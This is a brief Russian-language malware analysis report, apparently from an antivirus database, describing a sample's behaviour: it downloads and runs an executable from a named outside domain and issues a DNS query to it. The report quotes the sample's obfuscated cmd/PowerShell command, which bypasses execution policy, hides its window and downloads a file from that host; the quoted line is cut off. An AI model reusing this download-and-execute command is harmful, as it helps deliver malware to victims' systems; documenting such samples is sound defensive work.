Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^OW^eR^sHe^l^l.EX^E -^ExECuT^i^oN^PO^lIc^Y ^bYP^a^s^s ^-NoPRofIlE -^WINDowstYLE^ Hidde^n (nEW-o^bJEC^t SysT^EM^.N^Et^.^WEBCL^Ient).^DO^wNlO^A^dF^iLe('http://transporingsytw.wang...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^OW^eR^sHe^l^l.EX^E -^ExECuT^i^oN^PO^lIc^Y ^bYP^a^s^s ^-NoPRofIlE -^WINDowstYLE^ Hidde^n (nEW-o^bJEC^t SysT^EM^.N^Et^.^WEBCL^Ient).^DO^wNlO^A^dF^iLe('http://transporingsytw.wang...' (со скрытым окном)
